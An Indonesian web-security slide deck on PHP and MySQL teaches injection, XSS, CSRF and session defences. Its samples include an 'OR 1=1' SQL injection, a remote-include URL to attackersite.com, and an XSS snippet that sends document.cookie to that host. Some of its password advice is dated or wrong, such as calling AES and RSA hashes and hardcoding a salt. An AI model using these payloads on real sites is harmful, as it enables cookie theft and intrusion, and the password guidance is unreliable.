You are on page 1of 50

Web Security

Studi Kasus: PHP & MySQL


ARGA DINATA
29 September 2014

Pendahuluan
Web Security
Goals: menjaga data yang bersifat privat, tetap
menjadi privasi

Issues
Secrets
Menjaga kerahasiaan informasi

Limited Resources
CPU, memori, disk space, & bandwidth itu
terbatas. Jaga resources ini agar tidak dieksploitasi

Good Netizenship
Etika profesi, programmer & sysadmin tidak boleh
melakukan hal yg merugikan sistem

Referensi
Pro PHP Security 2nd Edition: Chris Snyder cs.
https://www.owasp.org
Open Web Application Security Project

Resiko dan Celah Keamanan

Injection
Remote Execution
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Authentication & Session
Third Party Components
PHP Configuration

Nothing is 100% Secure


- Anonymous -

SQL Injection
Penambahan queri SQL oleh attacker

$username = $_POST[username];
$query = SELECT * FROM pengguna WHERE username
= {$username};
/*
attacker
sehingga
SELECT *
OR 1 =
*/

memasukkan arga OR 1 = 1,
query menjadi:
FROM pengguna WHERE username = arga
1

SQL Injection
Tidak hanya $_POST, tapi bisa juga melalui
$_GET
Yang lebih berbahaya jika injeksi dilakukan pada
query UPDATE dan DELETE

SQL Injection Word List


https://wfuzz.googlecode.com/svn/trunk/
wordlist/Injections/SQL.txt

Pencegahan SQL Injection


Escape karakter khusus menggunakan fungsi
mysql_real_escape_string()

Agar semakin aman:


Gunakan prepared statements &
parameterized queries (PDO / MySQLi)
Cek tipe input dari user dengan fungsi
gettype()

Pastikan jumlah row pada datasource sudah


sesuai

Prepared Statements &


Parameterized Queries
$mysqli = new mysqli($hostname, $username,
$password, $database);
$nama = $_POST[nama];
$stmt = $mysqli->prepare(SELECT * FROM
pengguna WHERE nama = ?);
$stmt->bind_param(s, $nama);
$stmt->execute();

Tools untuk Pengujian SQL Injection

SQL Power Injector


Pangolin
Web Cruiser
SQL Map
SQL Inject Me (Firefox Plugin)

Code Injection
Memasukkan script dari host lain melalui
include()

Misalkan ada URL


http://mysite.com/index.php?content=con
tact.php
Dimana index.php memiliki instruksi
include($_GET[content])

Attacker memasukkan URL seperti ini:


http://mysite.com/index.php?content=htt
p://attackersite.com/injection.php

Code Injection
Dengan kasus tsb., attacker bisa memperoleh
informasi mengenai spesifikasi server dan PHP
dari host menggunakan fungsi phpinfo()

Pencegahan Code Injection


Non-aktifkan parameter allow_url_include
pada php.ini
Cek halaman sehingga yang dieksekusi hanya
halaman yang valid saja

Remote Execution
Mencoba melakukan eksekusi script secara
langsung melalui fungsi-fungsi berikut:
eval()
exec()
passthru()
proc_open()
shell_exec()
system()

Remote Execution dari Upload File


Melalui upload file, attacker dapat
mengunggah script PHP atau file berbahaya
yang lainnya

Pencegahan Remote Execution


Minimalisasi penggunaan fungsi-fungsi untuk
mengeksekusi shell
Cek ekstensi dari file-file yang di-upload
Simpan upload file di luar document root
Matikan fungsi eval() dan phpinfo()

Cross-Site Scripting (XSS)


Memasukkan client-side script dari website
lain ke dalam website kita
Tag HTML yang bisa diinjeksikan:
<script>
<object>
<applet>
<iframe>
<embed>

Cross-Site Scripting (XSS)


Apa yang dilakukan oleh script injeksi tsb?
Mencuri cookies
Manipulasi DOM
Redirect
dll...

Darimana injeksi dilakukan?


Input user yang bersifat publik, dan script bekerja
saat script ditampilkan (contoh: guestbook)

<style>
html { height: 100% }
body { height: 100% }
</style>
<div style=
position: absolute;
top: 0; left: 0;
background: White;
width: 100%; height: 100%
>
<h1>Situs dalam perbaikan</h1>
<a href=#
onclick=javascript:window.location=http://attackersite.
com/cookies.php?cookie=+document.cookie;>Klik di sini
untuk melanjutkan</a>
</div>

Pencegahan XSS
Encode HTML Entities menggunakan fungsi
htmlentities()

Jika input user mengandung link, buat blacklist


URL yang berbahaya

Tools untuk Testing XSS


Web Cruiser
Zed Attack Proxy (ZAP)
XSS Me (Firefox Plugin)

Cross-Site Request Forgery (CSRF)


Akses website dari host lain, tujuannya
melakukan aksi pada website secara otomatis
(robot)

Pencegahan CSRF
Menggunakan CSRF Token (POST maupun
GET)
Cek HTTP Referrer
Challenge-Response:
CAPTCHA
Re-Authentication
One-Time Token

User Authentication
Buat otentikasi user agar halaman hanya
dapat diakses oleh pengguna yang berhak
Untuk menghindari pencurian data &
mengurangi pengrusakan website

Perusak Website
SPAMMER
Pengguna yang melakukan posting konten yang
bersifat promosi

SCAMMER
Pengguna yang melakukan posting hal-hal yang
melanggar hukum: pornografi, SARA, dll...

TROLL
Pengguna yang melakukan bullying pada
pengguna lain

Verifikasi Identitas Pengguna


Simpan identitas pengguna agar:
Mengurangi pengguna yang merusak
Menghindari robot
Jika ada pengrusakan, pengguna dapat dilacak

Verifikasi dapat dilakukan melalui:


Email
SMS
Credit Card

Password
Simpan password dalam bentuk yang sudah
di-hash atau di-enkripsi
Perhatikan panjang dan kompleksitas
password
Sediakan fitur untuk mengubah dan reset
password

Hash / Enkripsi Password


Gunakan algoritma kriptografi yang kuat,
seperti AES, RSA, atau SHA-256. MD5 dan
SHA1 saat ini sudah termasuk yg lemah
Gunakan algoritma yg sudah umum digunakan
Berikan kunci tambahan (salted)
Ganti kunci tambahan tersebut secara
periodik
Multiple key, salah satu independen

Contoh Penyimpanan Password


$key = pwd_key_123*;
$salted_pwd = $key.$password.$email;
$hash_pwd = hash(sha256, $salted_pwd);

Kriptografi
Enkripsi, Hash, & Encode:
Enkripsi: merahasikan pesan, dapat dikembalikan
ke pesan semula menggunakan dekripsi
Hash: merahasikan pesan, tidak dapat
dikembalikan ke pesan semula
Encode: mengubah pesan ke dalam bentuk lain
agar dapat dibaca oleh sistem tertentu. Encode
tidak digunakan untuk merahasiakan pesan

Symmetric vs Asymmetric Key


Symmetric Key
Pengirim dan penerima berbagi kunci rahasia yang
sama
Contoh: 3DES, AES, Blowfish, RC4

Asymmetric Key
Enkripsi dan dekripsi memiliki kunci masingmasing
Contoh: RSA

User Access Control


Interface yang berbeda-beda
User Group
User Type

User Log
Apache Access Log:
Linux: /var/log/httpd/apache-access_log/
Windows: /apache/logs/

Simpan log pengguna:


Session ID
Date Time
User ID
Request URI

Session
Properti dari session:
Session Key / Session ID
Session Name
Session Length
Session Entropy
Session Content / Session Value

Session Hijacking
Mencuri Session ID sehingga attacker bisa
masuk ke halaman yg sama dengan victim
Pencurian bisa dilakukan dengan:
Packet Sniffing
XSS Attack
Man-in-the-Middle Attack
Main-in-the-Browser Attack

Packet Sniffing

Man-in-the-Middle Attack

Man-in-the-Browser
Hampir sama dengan Man-in-the-Middle
Attack, tetapi interupsi dilakukan oleh Trojan
Horse yg menginfeksi web browser

Session Fixation
Membuat victim menggunakan Session ID
yang telah diatur oleh attacker
Caranya dengan mengirimkan link yang
melakukan assignment cookie di victim

Pencegahan Session Hijacking & Fixation

Buat Session ID baru setiap pengguna login


Ganti nama session (default: PHPSESSID)
Simpan informasi user agent dan IP Address,
cocokkan ketika ada request halaman

Third Party Components


Penggunaan komponen developer lain
memiliki resiko dalam keamanan, terutama
yang bersifat open source
Hampir tidak mungkin kita tidak
menggunakan komponen pihak lain, jadi
solusinya adalah tetap update untuk
memperoleh versi terbarunya

PHP Configuration

register_global = Off
allow_url_fopen = Off
allow_url_include = Off
error_reporting = E_ALL
log_errors = On
display_errors = On (development), Off
(production)
magic_quotes_gpc = Off
post_max_size, upload_max_filesize,
memory_limit

Secure Socket Layer (SSL)


Protokol yang menggunakan kriptografi dalam
pengiriman data, agar komunikasi lebih aman
Sekarang Transport Layer Security
Kriptografi menggunakan kunci asimetris
(asymmetric key)
Public-Key Infrastructure x.509

Secure Socket Layer (SSL)

You might also like